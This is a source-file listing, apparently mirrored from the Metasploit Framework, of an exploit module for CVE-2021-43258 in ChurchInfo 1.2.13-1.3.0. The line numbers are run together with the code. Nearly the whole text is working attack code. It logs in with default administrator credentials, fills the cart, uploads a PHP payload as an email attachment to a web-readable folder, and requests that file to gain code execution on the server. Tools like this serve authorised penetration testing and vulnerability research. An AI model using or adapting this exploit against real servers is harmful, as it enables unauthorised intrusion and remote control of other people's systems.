Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/churchinfo_upload_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper10prepend Msf::Exploit::Remote::AutoCheck1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'ChurchInfo 1.2.13-1.3.0 Authenticated RCE',17'Description' => %q{18This module exploits the logic in the CartView.php page when crafting a draft email with an attachment.19By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the20ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and21then browsing to the location of the uploaded PHP file on the web server, arbitrary code22execution as the web daemon user (e.g. www-data) can be achieved.23},24'License' => MSF_LICENSE,25'Author' => [ 'm4lwhere <[email protected]>' ],26'References' => [27['URL', 'http://www.churchdb.org/'],28['URL', 'http://sourceforge.net/projects/churchinfo/'],29['CVE', '2021-43258']30],31'Platform' => 'php',32'Privileged' => false,33'Arch' => ARCH_PHP,34'Targets' => [['Automatic Targeting', { 'auto' => true }]],35'DisclosureDate' => '2021-10-30', # Reported to ChurchInfo developers on this date36'DefaultTarget' => 0,37'Notes' => {38'Stability' => [CRASH_SAFE],39'Reliability' => [REPEATABLE_SESSION],40'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]41}42)43)44# Set the email subject and message if interested45register_options(46[47Opt::RPORT(80),48OptString.new('USERNAME', [true, 'Username for ChurchInfo application', 'admin']),49OptString.new('PASSWORD', [true, 'Password to login with', 'churchinfoadmin']),50OptString.new('TARGETURI', [true, 'The location of the ChurchInfo app', '/churchinfo/']),51OptString.new('EMAIL_SUBJ', [true, 'Email subject in webapp', 'Read this now!']),52OptString.new('EMAIL_MESG', [true, 'Email message in webapp', 'Hello there!'])53]54)55end5657def check58if datastore['SSL'] == true59proto_var = 'https'60else61proto_var = 'http'62end6364res = send_request_cgi(65'uri' => normalize_uri(target_uri.path, 'Default.php'),66'method' => 'GET',67'vars_get' => {68'Proto' => proto_var,69'Path' => target_uri.path70}71)7273unless res74return CheckCode::Unknown('Target did not respond to a request to its login page!')75end7677# Check if page title is the one that ChurchInfo uses for its login page.78if res.body.match(%r{<title>ChurchInfo: Login</title>})79print_good('Target is ChurchInfo!')80else81return CheckCode::Safe('Target is not running ChurchInfo!')82end8384# Check what version the target is running using the upgrade pages.85res = send_request_cgi(86'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_14To1_3_0.php'),87'method' => 'GET'88)8990if res && (res.code == 500 || res.code == 200)91return CheckCode::Vulnerable('Target is running ChurchInfo 1.3.0!')92end9394res = send_request_cgi(95'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_13To1_2_14.php'),96'method' => 'GET'97)9899if res && (res.code == 500 || res.code == 200)100return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.14!')101end102103res = send_request_cgi(104'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_12To1_2_13.php'),105'method' => 'GET'106)107108if res && (res.code == 500 || res.code == 200)109return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.13!')110else111return CheckCode::Safe('Target is not running a vulnerable version of ChurchInfo!')112end113end114115#116# The exploit method attempts a login, adds items to the cart, then creates the email attachment.117# Adding items to the cart is required for the server-side code to accept the upload.118#119def exploit120# Need to grab the PHP session cookie value first to pass to application121vprint_status('Gathering PHP session cookie')122if datastore['SSL'] == true123vprint_status('SSL is true, changing protocol to HTTPS')124proto_var = 'https'125else126vprint_status('SSL is false, leaving protocol as HTTP')127proto_var = 'http'128end129res = send_request_cgi(130'uri' => normalize_uri(target_uri.path, 'Default.php'),131'method' => 'GET',132'vars_get' => {133'Proto' => proto_var,134'Path' => datastore['RHOSTS'] + ':' + datastore['RPORT'].to_s + datastore['TARGETURI']135},136'keep_cookies' => true137)138139# Ensure we get a 200 from the application login page140unless res && res.code == 200141fail_with(Failure::UnexpectedReply, "#{peer} - Unable to reach the ChurchInfo login page (response code: #{res.code})")142end143144# Check that we actually are targeting a ChurchInfo server.145unless res.body.match(%r{<title>ChurchInfo: Login</title>})146fail_with(Failure::NotVulnerable, 'Target is not a ChurchInfo!')147end148149# Grab our assigned session cookie150cookie = res.get_cookies151vprint_good("PHP session cookie is #{cookie}")152vprint_status('Attempting login')153154# Attempt a login with the cookie assigned, server will assign privs on server-side if authenticated155res = send_request_cgi(156'uri' => normalize_uri(target_uri.path, 'Default.php'),157'method' => 'POST',158'vars_post' => {159'User' => datastore['USERNAME'],160'Password' => datastore['PASSWORD'],161'sURLPath' => datastore['TARGETURI']162}163)164165# A valid login will give us a 302 redirect to TARGETURI + /CheckVersion.php so check that.166unless res && res.code == 302 && res.headers['Location'] == datastore['TARGETURI'] + '/CheckVersion.php'167fail_with(Failure::UnexpectedReply, "#{peer} - Check if credentials are correct (response code: #{res.code})")168end169vprint_good("Location header is #{res.headers['Location']}")170print_good("Logged into application as #{datastore['USERNAME']}")171vprint_status('Attempting exploit')172173# We must add items to the cart before we can send the emails. This is a hard requirement server-side.174print_status('Navigating to add items to cart')175res = send_request_cgi(176'uri' => normalize_uri(target_uri.path, 'SelectList.php'),177'method' => 'GET',178'vars_get' => {179'mode' => 'person',180'AddAllToCart' => 'Add+to+Cart'181}182)183184# Need to check that items were successfully added to the cart185# Here we're looking through html for the version string, similar to:186# Items in Cart: 2187unless res && res.code == 200188fail_with(Failure::UnexpectedReply, "#{peer} - Unable to add items to cart via HTTP GET request to SelectList.php (response code: #{res.code})")189end190cart_items = res.body.match(/Items in Cart: (?<cart>\d)/)191unless cart_items192fail_with(Failure::UnexpectedReply, "#{peer} - Server did not respond with the text 'Items in Cart'. Is this a ChurchInfo server?")193end194if cart_items['cart'].to_i < 1195print_error('No items in cart detected')196fail_with(Failure::UnexpectedReply,197'Failure to add items to cart, no items were detected. Check if there are person entries in the application')198end199print_good("Items in Cart: #{cart_items}")200201# Uploading exploit as temporary email attachment202print_good('Uploading exploit via temp email attachment')203payload_name = Rex::Text.rand_text_alphanumeric(5..14) + '.php'204vprint_status("Payload name is #{payload_name}")205206# Create the POST payload with required parameters to be parsed by the server207post_data = Rex::MIME::Message.new208post_data.add_part(payload.encoded, 'application/octet-stream', nil,209"form-data; name=\"Attach\"; filename=\"#{payload_name}\"")210post_data.add_part(datastore['EMAIL_SUBJ'], '', nil, 'form-data; name="emailsubject"')211post_data.add_part(datastore['EMAIL_MESG'], '', nil, 'form-data; name="emailmessage"')212post_data.add_part('Save Email', '', nil, 'form-data; name="submit"')213file = post_data.to_s214file.strip!215res = send_request_cgi(216'uri' => normalize_uri(target_uri.path, 'CartView.php'),217'method' => 'POST',218'data' => file,219'ctype' => "multipart/form-data; boundary=#{post_data.bound}"220)221222# Ensure that we get a 200 and the intended payload was223# successfully uploaded and attached to the draft email.224unless res.code == 200 && res.body.include?("Attach file:</b> #{payload_name}")225fail_with(Failure::Unknown, 'Failed to upload the payload.')226end227print_good("Exploit uploaded to #{target_uri.path + 'tmp_attach/' + payload_name}")228229# Have our payload deleted after we exploit230register_file_for_cleanup(payload_name)231232# Make a GET request to the PHP file that was uploaded to execute it on the target server.233print_good('Executing payload with GET request')234send_request_cgi(235'uri' => normalize_uri(target_uri.path, 'tmp_attach', payload_name),236'method' => 'GET'237)238rescue ::Rex::ConnectionError239fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")240end241end242243244